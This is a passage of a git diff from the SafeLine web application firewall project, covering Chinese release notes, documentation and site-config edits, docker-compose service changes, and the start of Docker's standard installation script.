* 动态防护单站点允许防护的资源数增加到 2 个,专业版增加到 20 个
#### 优化
* 人机验证通过后,若访问/攻击频率过高(达到 3 倍的 “限频后人机验证” 阈值),则要求重新进行人机验证
* 修复导出日志 csv 中的 “动作” 和控制台页面不一致的问题
* 修复动态防护有时仍额外返回源内容的问题
* 修复部分补充规则配置了防护后也会被放行的问题
* 修复编辑证书后,会自动新建证书而不是更新证书的问题
* 修复上游服务器健康检查时,对正常的上游可能返回异常结果 tls internal error 的问题
* 优化一些 UI 交互细节
### [6.0.3] - 2024-06-06
#### 优化
* 修复动态防护在观察模式下仍然生效的问题
* 修复响应码不为 200 的请求,也会采集进资源的问题
* 修复自定义规则中,路径匹配条件未包括参数的问题
* 修复使用动态防护时 23333 端口被占用的问题
* 修复动态防护选择防护资源时的一些交互细节问题
* 优化其他一些 UI 交互细节
### [6.0.2] - 2024-06-03
#### 优化
* 修复部分情况下 mgt 启动异常的问题
* 修复站点身份认证功能编辑用户名密码不生效的问题
* 修复站点资源只显示 250 条的问题(实际最多支持 500 条)
* 优化站点列表加载速度
### [6.0.1] - 2024-05-31
#### 修复
* 修复流式版本 tengine 启动异常的问题
* 修复历史攻击事件无法查询明细日志的问题
### [6.0.0] - 2024-05-31
#### 新增
* 站点高级防护新增动态防护BETA能自动动态加密网站的 html 和 js 源码,阻止爬虫和攻击自动化程序的分析(对应新增 safeline-chaos 容器)
![](/images/docs/about_changelog/6.0.0-1.png)
* 新增上游服务器健康检查,方便配置与管理
![](/images/docs/about_changelog/6.0.0-2.png)
* 攻击事件的聚合维度增加域名、端口,方便观察。即同一 IP 对不同域名、端口的攻击,现在会记录不同的攻击事件了
![](/images/docs/about_changelog/6.0.0-3.png)
#### 优化
* 攻击事件支持按域名、端口筛选
* 新增 tengine 异常时,紧急恢复 tengine 的命令,详情见文档([紧急恢复 tengine](https://waf-ce.chaitin.cn/docs/faq/other#紧急恢复-tengine)
* 修复开启 http2 时,配置站点可能出现 nginx: [warn] protocol options redefined 的问题
* 修复黑白名单没有记录触发次数的问题
* 站点域名提交时自动删去域名前后的空格,避免证书列表提示域名不匹配
* 修复 SDK 旁路部署模式下黑白名单工作异常的问题
* 优化一些 UI 交互细节
### [5.6.2] - 2024-05-23
#### 优化
* 身份认证、控制台登录设置可以一键随机一个密码
![](/images/docs/about_changelog/5.6.2-1.png)
* 添加/编辑自定义规则时,如果未保存直接关闭弹窗,会增加一个确认提醒([#761](https://github.com/chaitin/SafeLine/issues/761)
![](/images/docs/about_changelog/5.6.2-2.png)
* 修复申请免费证书时,域名中带空格或者输入多个域名时会申请失败的问题(报错 onflicting server name ... on 0.0.0.0:80 的问题)
* 修复申请证书和添加站点的时候,域名中带空格会报错 “域名不匹配” 的问题([#596](https://github.com/chaitin/SafeLine/issues/596)
* 修复站点为观察模式时,也会拦截一些补充规则的问题
* 修复某些情况下免费证书无法续期的问题
* 优化一些 UI 交互细节
### [5.6.1] - 2024-05-17
#### 修复
* 修复无法申请 acme 证书的问题
### [5.6.0] - 2024-05-16
#### 新增
* 自定义规则的部分匹配内容支持输入多个值,多个值之间为 “或 (OR)” 关系
![](/images/docs/about_changelog/5.6.0-1.png)
* 专业版支持自定义人机验证的底部文字,替代雷池版权信息
#### 优化
* 502、504 异常页面适配手机端
* 编辑站点时,根据需要自动调大 xx_hash_bucket_size、xx_hash_max_size避免这两种配置不足报错
* 修复有时无法采集到站点资源的问题
* 优化一些界面交互细节
### [5.5.2] - 2024-05-10
#### 修复
* 修复 IP 组详情某些情况下与老版本不兼容的问题
### [5.5.1] - 2024-05-10
#### 修复
* 修复自定义规则某些情况下不生效的问题
### [5.5.0] - 2024-05-09
#### 新增
* 站点列表支持一键配置高级防护规则
![](/images/docs/about_changelog/5.5.0-1.png)
#### 优化
* 黑白名单、人机验证、身份认证 页面合并为 “自定义规则”,简化导航
* 黑白名单、身份认证 规则增加 “触发次数” “通过次数” 统计
![](/images/docs/about_changelog/5.5.0-2.png)
* 注:同一种规则类型内,触发的优先级为 新添加的自定义规则 > 旧添加的自定义规则 > 站点列表上一键配置的高级防护规则
* 站点资源统计逻辑优化
* 修复有时候免费证书临期不会自动续期的问题
* 修复匹配条件中 ipv6 地址展示不正确的问题([#830](https://github.com/chaitin/SafeLine/issues/830)
* 优化一些 UI 交互细节
### [5.4.0] - 2024-04-25
#### 新增
* 源 IP 获取方式增加 XFF
![](/images/docs/about_changelog/5.4.0-1.png)
* 专业版增加 系统设置->检测引擎性能配置,可以根据设备的配置等级选择不同的性能模式
![](/images/docs/about_changelog/5.4.0-2.png)
#### 优化
* 修复浏览器内核版本 < Chromium 93 时,点击智能 AI 分析页面会崩溃的问题
* 修复少数情况下,限频没有正常封禁 IP 的问题
* 优化 luigi 统计算法,解决 CPU 占用过高的问题
* 优化一些 UI 交互细节
### [5.3.3] - 2024-04-18
#### 优化
* 日志列表不返回 IP 组全部内容,降低访问耗时
* 修复基础统计 -> 4xx 数量中,把人机验证拦截也计入了的问题
* 修复高级统计 -> 来源域名、来源页面中,把内部跳转也计入了的问题
* 修复上游有多个域名时,获取不到正确 title 和 icon 的问题([#821](https://github.com/chaitin/SafeLine/issues/821)
* 修复筛选 UI 错位问题([#789](https://github.com/chaitin/SafeLine/issues/789)
* 修复其他一些已知问题
### [5.3.2] - 2024-04-12
#### 修复
* 修复了地理位置库识别错误的问题
#### 优化
* 优化了一些 UI 交互细节
### [5.3.1] - 2024-04-11
#### 新增
* 专业版支持*钉钉告警*
* 专业版新增高级数据统计
#### 优化
* 上线新版智能 AI 攻击分析,分析结果由长亭问津安全大模型提供,大幅度提升安全分析效果
* 支持全种类的攻击分析,包含 注入、CSRF、SSRF、后门等
* 标准化输出内容,例如 攻击影响、意图分析、防护建议等
![](/images/docs/about_changelog/5.3.1-1.png)
* 优化站点上游服务器的格式校验([#792](https://github.com/chaitin/SafeLine/issues/792) 中涉及问题)
* 修复了其他一些已知问题
* 优化了一些 UI 交互细节
### [5.2.0] - 2024-03-28
#### 新增

View File

@@ -4,7 +4,7 @@ title: "雷池技术架构"
# 雷池技术架构
查看雷池的服务架构图。最上面虚线框住的是数据流,也就是访问业务服务器的流量数据的流动情况。中间框起来的部分是雷池的各个服务。
查看雷池的服务架构图(示意图较老,参考为主)。最上面虚线框住的是数据流,也就是访问业务服务器的流量数据的流动情况。中间框起来的部分是雷池的各个服务。
![framework](/images/docs/framework.png)
@@ -12,11 +12,14 @@ title: "雷池技术架构"
| 名称 | 定义 | 详情 |
| ----------------- | ------------ | ------------------------------------------------------- |
| safeline-mgt | 管理容器 | 接收管理后台行为,向其他服务或容器推送消息 |
| safeline-mgt | 管理容器(管理端) | 接收管理后台行为,向其他服务或容器推送消息 |
| safeline-detector | 检测容器 | 执行检测的容器,从 Tengine 进入的流量会转发到该节点检测 |
| safeline-mario | 日志容器 | 记录与统计恶意行为的节点 |
| safeline-tengine | 网关 | 转发网关,有简单的过滤功能 |
| safeline-tengine | 网关 | 转发网关,有简单的过滤功能基于nginx实现 |
| safeline-pg | 关系型数据库 | 存储攻击日志、保护站点、黑白名单配置的数据库 |
| safeline-luigi | 数据统计服务 | 统计qps等信息 |
| safeline-fvm | 规则处理容器 | 将规则传递到检测容器 |
| safeline-bridge | 支持云托管 | 通讯的桥接器 |
对于后台管理人员,可以直接通信的节点为管理服务 `safeline-mgt`,该节点负责:

View File

@@ -1,6 +1,6 @@
{
"label": "关于雷池",
"collapsed": false,
"collapsed": true,
"link": {
"type": "generated-index"
}

View File

@@ -75,6 +75,11 @@ const config = {
({
// Replace with your project's social card
image: "images/safeline.svg",
docs: {
sidebar: {
autoCollapseCategories: true,
},
},
navbar: {
title: "",
logo: { alt: "Logo", src: "images/safeline.svg", href: "https://waf-ce.chaitin.cn" },

File diff suppressed because it is too large Load Diff

View File

@@ -16,26 +16,26 @@
"typecheck": "tsc"
},
"dependencies": {
"@docusaurus/core": "3.0.0",
"@docusaurus/preset-classic": "3.0.0",
"@easyops-cn/docusaurus-search-local": "0.37.4",
"@emotion/react": "11.11.1",
"@emotion/styled": "11.11.0",
"@mdx-js/react": "3.0.0",
"@mui/icons-material": "5.14.3",
"@mui/lab": "5.0.0-alpha.138",
"@mui/material": "5.14.3",
"clsx": "^1.2.1",
"countup.js": "2.7.0",
"prism-react-renderer": "2.1.0",
"react": "18.2.0",
"react-dom": "18.2.0",
"@docusaurus/core": "3.3.2",
"@docusaurus/preset-classic": "3.3.2",
"@easyops-cn/docusaurus-search-local": "0.40.1",
"@emotion/react": "11.11.4",
"@emotion/styled": "11.11.5",
"@mdx-js/react": "3.0.1",
"@mui/icons-material": "5.15.16",
"@mui/lab": "5.0.0-alpha.170",
"@mui/material": "5.15.16",
"clsx": "^2.1.1",
"countup.js": "2.8.0",
"prism-react-renderer": "2.3.1",
"react": "18.3.1",
"react-dom": "18.3.1",
"react-responsive-carousel": "3.2.23"
},
"devDependencies": {
"@docusaurus/module-type-aliases": "3.0.0",
"@tsconfig/docusaurus": "^1.0.5",
"typescript": "5.2.2"
"@docusaurus/module-type-aliases": "3.3.2",
"@tsconfig/docusaurus": "^2.0.3",
"typescript": "5.4.5"
},
"browserslist": {
"production": [

View File

@@ -15,7 +15,6 @@
const sidebars = {
// By default, Docusaurus generates a sidebar from the docs folder structure
tutorialSidebar: [{type: 'autogenerated', dirName: '.'}],
// But you can create a sidebar manually
/*
tutorialSidebar: [

View File

@@ -34,6 +34,9 @@ a:hover {
aside.theme-doc-sidebar-container {
width: 240px !important;
}
aside.theme-doc-sidebar-container>div>div {
width: 240px !important;
}
/* .navbar__toggle.clean-btn svg {
color: white;

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 308 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 278 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 80 KiB

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 812 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

File diff suppressed because it is too large Load Diff

BIN
images/add-site-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

BIN
images/add-site-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

BIN
images/blocked.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

BIN
images/log-detail.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 118 KiB

BIN
images/log-list.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

BIN
images/login.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 123 KiB

1
images/readme.md Normal file
View File

@@ -0,0 +1 @@
readme

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

BIN
images/safeline.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 559 KiB

BIN
images/safeline_en.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 557 KiB

View File

@@ -14,7 +14,7 @@ services:
postgres:
container_name: safeline-pg
restart: always
image: swr.cn-east-3.myhuaweicloud.com/chaitin-safeline/postgres:15.2
image: ${IMAGE_PREFIX}/safeline-postgres:15.2
volumes:
- ${SAFELINE_DIR}/resources/postgres/data:/var/lib/postgresql/data
- /etc/localtime:/etc/localtime:ro
@@ -24,7 +24,7 @@ services:
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.2
command: [postgres, -c, max_connections=200]
command: [postgres, -c, max_connections=600]
healthcheck:
test: pg_isready -U safeline-ce -d safeline-ce
mgt:
@@ -34,6 +34,7 @@ services:
volumes:
- /etc/localtime:/etc/localtime:ro
- ${SAFELINE_DIR}/resources/mgt:/app/data
- ${SAFELINE_DIR}/logs/nginx:/app/log/nginx:z
ports:
- ${MGT_PORT:-9443}:1443
healthcheck:
@@ -43,17 +44,10 @@ services:
depends_on:
- postgres
- fvm
dns:
- 119.29.29.29
- 223.5.5.5
- 180.76.76.76
- 1.2.4.8
- 114.114.114.114
- 8.8.8.8
logging:
options:
max-size: "100m"
max-file: "10"
max-file: "5"
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.4
@@ -82,6 +76,10 @@ services:
- LOG_DIR=/logs/mario
- GOGC=100
- DATABASE_URL=postgres://safeline-ce:${POSTGRES_PASSWORD}@safeline-pg/safeline-ce
logging:
options:
max-size: "100m"
max-file: "5"
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.6
@@ -94,7 +92,8 @@ services:
- /etc/resolv.conf:/etc/resolv.conf:ro
- ${SAFELINE_DIR}/resources/nginx:/etc/nginx
- ${SAFELINE_DIR}/resources/detector:/resources/detector
- ${SAFELINE_DIR}/logs/nginx:/var/log/nginx
- ${SAFELINE_DIR}/resources/chaos:/resources/chaos
- ${SAFELINE_DIR}/logs/nginx:/var/log/nginx:z
- ${SAFELINE_DIR}/resources/cache:/usr/local/nginx/cache
environment:
- TCD_MGT_API=https://${SUBNET_PREFIX}.4:1443/api/open/publish/server
@@ -113,6 +112,10 @@ services:
volumes:
- /etc/localtime:/etc/localtime:ro
- ${SAFELINE_DIR}/resources/luigi:/app/data
logging:
options:
max-size: "100m"
max-file: "5"
depends_on:
- detect
- mgt
@@ -125,6 +128,10 @@ services:
image: ${IMAGE_PREFIX}/safeline-fvm:${IMAGE_TAG}
volumes:
- /etc/localtime:/etc/localtime:ro
logging:
options:
max-size: "100m"
max-file: "5"
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.8
@@ -145,9 +152,22 @@ services:
logging:
options:
max-size: "100m"
max-file: "10"
max-file: "5"
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.9
depends_on:
- mgt
- mgt
chaos:
container_name: safeline-chaos
restart: always
image: ${IMAGE_PREFIX}/safeline-chaos:${IMAGE_TAG}
logging:
options:
max-size: "100m"
max-file: "10"
volumes:
- ${SAFELINE_DIR}/resources/chaos:/app/chaos
networks:
safeline-ce:
ipv4_address: ${SUBNET_PREFIX}.10

744
release/latest/get-docker.sh Executable file
View File

@@ -0,0 +1,744 @@
#!/bin/sh
set -e
# Docker Engine for Linux installation script.
#
# This script is intended as a convenient way to configure docker's package
# repositories and to install Docker Engine, This script is not recommended
# for production environments. Before running this script, make yourself familiar
# with potential risks and limitations, and refer to the installation manual
# at https://docs.docker.com/engine/install/ for alternative installation methods.
#
# The script:
#
# - Requires `root` or `sudo` privileges to run.
# - Attempts to detect your Linux distribution and version and configure your
# package management system for you.
# - Doesn't allow you to customize most installation parameters.
# - Installs dependencies and recommendations without asking for confirmation.
# - Installs the latest stable release (by default) of Docker CLI, Docker Engine,
# Docker Buildx, Docker Compose, containerd, and runc. When using this script
# to provision a machine, this may result in unexpected major version upgrades
# of these packages. Always test upgrades in a test environment before
# deploying to your production systems.
# - Isn't designed to upgrade an existing Docker installation. When using the
# script to update an existing installation, dependencies may not be updated
# to the expected version, resulting in outdated versions.
#
# Source code is available at https://github.com/docker/docker-install/
#
# Usage
# ==============================================================================
#
# To install the latest stable versions of Docker CLI, Docker Engine, and their
# dependencies:
#
# 1. download the script
#
# $ curl -fsSL https://get.docker.com -o install-docker.sh
#
# 2. verify the script's content
#
# $ cat install-docker.sh
#
# 3. run the script with --dry-run to verify the steps it executes
#
# $ sh install-docker.sh --dry-run
#
# 4. run the script either as root, or using sudo to perform the installation.
#
# $ sudo sh install-docker.sh
#
# Command-line options
# ==============================================================================
#
# --version <VERSION>
# Use the --version option to install a specific version, for example:
#
# $ sudo sh install-docker.sh --version 23.0
#
# --channel <stable|test>
#
# Use the --channel option to install from an alternative installation channel.
# The following example installs the latest versions from the "test" channel,
# which includes pre-releases (alpha, beta, rc):
#
# $ sudo sh install-docker.sh --channel test
#
# Alternatively, use the script at https://test.docker.com, which uses the test
# channel as default.
#
# --mirror <Aliyun|AzureChinaCloud>
#
# Use the --mirror option to install from a mirror supported by this script.
# Available mirrors are "Aliyun" (https://mirrors.aliyun.com/docker-ce), and
# "AzureChinaCloud" (https://mirror.azure.cn/docker-ce), for example:
#
# $ sudo sh install-docker.sh --mirror AzureChinaCloud
#
# ==============================================================================
# Git commit from https://github.com/docker/docker-install when
# the script was uploaded (Should only be modified by upload job):
SCRIPT_COMMIT_SHA="6d9743e9656cc56f699a64800b098d5ea5a60020"
# strip "v" prefix if present
VERSION="${VERSION#v}"
# The channel to install from:
# * stable
# * test
# * edge (deprecated)
# * nightly (deprecated)
DEFAULT_CHANNEL_VALUE="stable"
if [ -z "$CHANNEL" ]; then
CHANNEL=$DEFAULT_CHANNEL_VALUE
fi
DEFAULT_DOWNLOAD_URL="https://download.docker.com"
if [ -z "$DOWNLOAD_URL" ]; then
DOWNLOAD_URL=$DEFAULT_DOWNLOAD_URL
fi
DEFAULT_REPO_FILE="docker-ce.repo"
if [ -z "$REPO_FILE" ]; then
REPO_FILE="$DEFAULT_REPO_FILE"
fi
mirror=''
DRY_RUN=${DRY_RUN:-}
while [ $# -gt 0 ]; do
case "$1" in
--channel)
CHANNEL="$2"
shift
;;
--dry-run)
DRY_RUN=1
;;
--mirror)
mirror="$2"
shift
;;
--version)
VERSION="${2#v}"
shift
;;
--*)
echo "Illegal option $1"
;;
esac
shift $(( $# > 0 ? 1 : 0 ))
done
case "$mirror" in
Aliyun)
DOWNLOAD_URL="https://mirrors.aliyun.com/docker-ce"
;;
AzureChinaCloud)
DOWNLOAD_URL="https://mirror.azure.cn/docker-ce"
;;
Tencent)
DOWNLOAD_URL="https://mirrors.tencent.com/docker-ce"
;;
"")
;;
*)
>&2 echo "unknown mirror '$mirror': use either 'Aliyun', 'Tencent' or 'AzureChinaCloud'."
exit 1
;;
esac
case "$CHANNEL" in
stable|test)
;;
edge|nightly)
>&2 echo "DEPRECATED: the $CHANNEL channel has been deprecated and is no longer supported by this script."
exit 1
;;
*)
>&2 echo "unknown CHANNEL '$CHANNEL': use either stable or test."
exit 1
;;
esac
command_exists() {
command -v "$@" > /dev/null 2>&1
}
# version_gte checks if the version specified in $VERSION is at least the given
# SemVer (Maj.Minor[.Patch]), or CalVer (YY.MM) version.It returns 0 (success)
# if $VERSION is either unset (=latest) or newer or equal than the specified
# version, or returns 1 (fail) otherwise.
#
# examples:
#
# VERSION=23.0
# version_gte 23.0 // 0 (success)
# version_gte 20.10 // 0 (success)
# version_gte 19.03 // 0 (success)
# version_gte 21.10 // 1 (fail)
version_gte() {
if [ -z "$VERSION" ]; then
return 0
fi
eval version_compare "$VERSION" "$1"
}
# version_compare compares two version strings (either SemVer (Major.Minor.Path),
# or CalVer (YY.MM) version strings. It returns 0 (success) if version A is newer
# or equal than version B, or 1 (fail) otherwise. Patch releases and pre-release
# (-alpha/-beta) are not taken into account
#
# examples:
#
# version_compare 23.0.0 20.10 // 0 (success)
# version_compare 23.0 20.10 // 0 (success)
# version_compare 20.10 19.03 // 0 (success)
# version_compare 20.10 20.10 // 0 (success)
# version_compare 19.03 20.10 // 1 (fail)
version_compare() (
set +x
yy_a="$(echo "$1" | cut -d'.' -f1)"
yy_b="$(echo "$2" | cut -d'.' -f1)"
if [ "$yy_a" -lt "$yy_b" ]; then
return 1
fi
if [ "$yy_a" -gt "$yy_b" ]; then
return 0
fi
mm_a="$(echo "$1" | cut -d'.' -f2)"
mm_b="$(echo "$2" | cut -d'.' -f2)"
# trim leading zeros to accommodate CalVer
mm_a="${mm_a#0}"
mm_b="${mm_b#0}"
if [ "${mm_a:-0}" -lt "${mm_b:-0}" ]; then
return 1
fi
return 0
)
is_dry_run() {
if [ -z "$DRY_RUN" ]; then
return 1
else
return 0
fi
}
is_wsl() {
case "$(uname -r)" in
*microsoft* ) true ;; # WSL 2
*Microsoft* ) true ;; # WSL 1
* ) false;;
esac
}
is_darwin() {
case "$(uname -s)" in
*darwin* ) true ;;
*Darwin* ) true ;;
* ) false;;
esac
}
deprecation_notice() {
distro=$1
distro_version=$2
echo
printf "\033[91;1mDEPRECATION WARNING\033[0m\n"
printf " This Linux distribution (\033[1m%s %s\033[0m) reached end-of-life and is no longer supported by this script.\n" "$distro" "$distro_version"
echo " No updates or security fixes will be released for this distribution, and users are recommended"
echo " to upgrade to a currently maintained version of $distro."
echo
printf "Press \033[1mCtrl+C\033[0m now to abort this script, or wait for the installation to continue."
echo
sleep 10
}
get_distribution() {
lsb_dist=""
# Every system that we officially support has /etc/os-release
if [ -r /etc/os-release ]; then
lsb_dist="$(. /etc/os-release && echo "$ID")"
fi
# Returning an empty string here should be alright since the
# case statements don't act unless you provide an actual value
echo "$lsb_dist"
}
echo_docker_as_nonroot() {
if is_dry_run; then
return
fi
if command_exists docker && [ -e /var/run/docker.sock ]; then
(
set -x
$sh_c 'docker version'
) || true
fi
# intentionally mixed spaces and tabs here -- tabs are stripped by "<<-EOF", spaces are kept in the output
echo
echo "================================================================================"
echo
if version_gte "20.10"; then
echo "To run Docker as a non-privileged user, consider setting up the"
echo "Docker daemon in rootless mode for your user:"
echo
echo " dockerd-rootless-setuptool.sh install"
echo
echo "Visit https://docs.docker.com/go/rootless/ to learn about rootless mode."
echo
fi
echo
echo "To run the Docker daemon as a fully privileged service, but granting non-root"
echo "users access, refer to https://docs.docker.com/go/daemon-access/"
echo
echo "WARNING: Access to the remote API on a privileged Docker daemon is equivalent"
echo " to root access on the host. Refer to the 'Docker daemon attack surface'"
echo " documentation for details: https://docs.docker.com/go/attack-surface/"
echo
echo "================================================================================"
echo
}
# Check if this is a forked Linux distro
check_forked() {
# Check for lsb_release command existence, it usually exists in forked distros
if command_exists lsb_release; then
# Check if the `-u` option is supported
set +e
lsb_release -a -u > /dev/null 2>&1
lsb_release_exit_code=$?
set -e
# Check if the command has exited successfully, it means we're in a forked distro
if [ "$lsb_release_exit_code" = "0" ]; then
# Print info about current distro
cat <<-EOF
You're using '$lsb_dist' version '$dist_version'.
EOF
# Get the upstream release info
lsb_dist=$(lsb_release -a -u 2>&1 | tr '[:upper:]' '[:lower:]' | grep -E 'id' | cut -d ':' -f 2 | tr -d '[:space:]')
dist_version=$(lsb_release -a -u 2>&1 | tr '[:upper:]' '[:lower:]' | grep -E 'codename' | cut -d ':' -f 2 | tr -d '[:space:]')
# Print info about upstream distro
cat <<-EOF
Upstream release is '$lsb_dist' version '$dist_version'.
EOF
else
if [ -r /etc/debian_version ] && [ "$lsb_dist" != "ubuntu" ] && [ "$lsb_dist" != "raspbian" ]; then
if [ "$lsb_dist" = "osmc" ]; then
# OSMC runs Raspbian
lsb_dist=raspbian
else
# We're Debian and don't even know it!
lsb_dist=debian
fi
dist_version="$(sed 's/\/.*//' /etc/debian_version | sed 's/\..*//')"
case "$dist_version" in
12)
dist_version="bookworm"
;;
11)
dist_version="bullseye"
;;
10)
dist_version="buster"
;;
9)
dist_version="stretch"
;;
8)
dist_version="jessie"
;;
esac
fi
fi
fi
}
do_install() {
echo "# Executing docker install script, commit: $SCRIPT_COMMIT_SHA"
if command_exists docker; then
cat >&2 <<-'EOF'
Warning: the "docker" command appears to already exist on this system.
If you already have Docker installed, this script can cause trouble, which is
why we're displaying this warning and provide the opportunity to cancel the
installation.
If you installed the current Docker package using this script and are using it
again to update Docker, you can safely ignore this message.
You may press Ctrl+C now to abort this script.
EOF
( set -x; sleep 20 )
fi
user="$(id -un 2>/dev/null || true)"
sh_c='sh -c'
if [ "$user" != 'root' ]; then
if command_exists sudo; then
sh_c='sudo -E sh -c'
elif command_exists su; then
sh_c='su -c'
else
cat >&2 <<-'EOF'
Error: this installer needs the ability to run commands as root.
We are unable to find either "sudo" or "su" available to make this happen.
EOF
exit 1
fi
fi
if is_dry_run; then
sh_c="echo"
fi
# perform some very rudimentary platform detection
lsb_dist=$( get_distribution )
lsb_dist="$(echo "$lsb_dist" | tr '[:upper:]' '[:lower:]')"
if is_wsl; then
echo
echo "WSL DETECTED: We recommend using Docker Desktop for Windows."
echo "Please get Docker Desktop from https://www.docker.com/products/docker-desktop/"
echo
cat >&2 <<-'EOF'
You may press Ctrl+C now to abort this script.
EOF
( set -x; sleep 20 )
fi
case "$lsb_dist" in
ubuntu)
if command_exists lsb_release; then
dist_version="$(lsb_release --codename | cut -f2)"
fi
if [ -z "$dist_version" ] && [ -r /etc/lsb-release ]; then
dist_version="$(. /etc/lsb-release && echo "$DISTRIB_CODENAME")"
fi
;;
debian|raspbian)
dist_version="$(sed 's/\/.*//' /etc/debian_version | sed 's/\..*//')"
case "$dist_version" in
12)
dist_version="bookworm"
;;
11)
dist_version="bullseye"
;;
10)
dist_version="buster"
;;
9)
dist_version="stretch"
;;
8)
dist_version="jessie"
;;
esac
;;
centos|rhel)
if [ -z "$dist_version" ] && [ -r /etc/os-release ]; then
dist_version="$(. /etc/os-release && echo "$VERSION_ID")"
fi
;;
*)
if command_exists lsb_release; then
dist_version="$(lsb_release --release | cut -f2)"
fi
if [ -z "$dist_version" ] && [ -r /etc/os-release ]; then
dist_version="$(. /etc/os-release && echo "$VERSION_ID")"
fi
;;
esac
# Check if this is a forked Linux distro
check_forked
# Print deprecation warnings for distro versions that recently reached EOL,
# but may still be commonly used (especially LTS versions).
case "$lsb_dist.$dist_version" in
debian.stretch|debian.jessie)
deprecation_notice "$lsb_dist" "$dist_version"
;;
raspbian.stretch|raspbian.jessie)
deprecation_notice "$lsb_dist" "$dist_version"
;;
ubuntu.xenial|ubuntu.trusty)
deprecation_notice "$lsb_dist" "$dist_version"
;;
ubuntu.lunar|ubuntu.kinetic|ubuntu.impish|ubuntu.hirsute|ubuntu.groovy|ubuntu.eoan|ubuntu.disco|ubuntu.cosmic)
deprecation_notice "$lsb_dist" "$dist_version"
;;
fedora.*)
if [ "$dist_version" -lt 36 ]; then
deprecation_notice "$lsb_dist" "$dist_version"
fi
;;
esac
# Run setup for each distro accordingly
case "$lsb_dist" in
ubuntu|debian|raspbian)
pre_reqs="apt-transport-https ca-certificates curl"
apt_repo="deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] $DOWNLOAD_URL/linux/$lsb_dist $dist_version $CHANNEL"
(
if ! is_dry_run; then
set -x
fi
$sh_c 'apt-get update >/dev/null'
$sh_c "DEBIAN_FRONTEND=noninteractive apt-get install -y $pre_reqs"
$sh_c 'install -m 0755 -d /etc/apt/keyrings'
$sh_c "curl -fsSL \"$DOWNLOAD_URL/linux/$lsb_dist/gpg\" -o /etc/apt/keyrings/docker.asc"
$sh_c "chmod a+r /etc/apt/keyrings/docker.asc"
$sh_c "echo \"$apt_repo\" > /etc/apt/sources.list.d/docker.list"
$sh_c 'apt-get update >/dev/null'
)
pkg_version=""
if [ -n "$VERSION" ]; then
if is_dry_run; then
echo "# WARNING: VERSION pinning is not supported in DRY_RUN"
else
# Will work for incomplete versions IE (17.12), but may not actually grab the "latest" if in the test channel
pkg_pattern="$(echo "$VERSION" | sed 's/-ce-/~ce~.*/g' | sed 's/-/.*/g')"
search_command="apt-cache madison docker-ce | grep '$pkg_pattern' | head -1 | awk '{\$1=\$1};1' | cut -d' ' -f 3"
pkg_version="$($sh_c "$search_command")"
echo "INFO: Searching repository for VERSION '$VERSION'"
echo "INFO: $search_command"
if [ -z "$pkg_version" ]; then
echo
echo "ERROR: '$VERSION' not found amongst apt-cache madison results"
echo
exit 1
fi
if version_gte "18.09"; then
search_command="apt-cache madison docker-ce-cli | grep '$pkg_pattern' | head -1 | awk '{\$1=\$1};1' | cut -d' ' -f 3"
echo "INFO: $search_command"
cli_pkg_version="=$($sh_c "$search_command")"
fi
pkg_version="=$pkg_version"
fi
fi
(
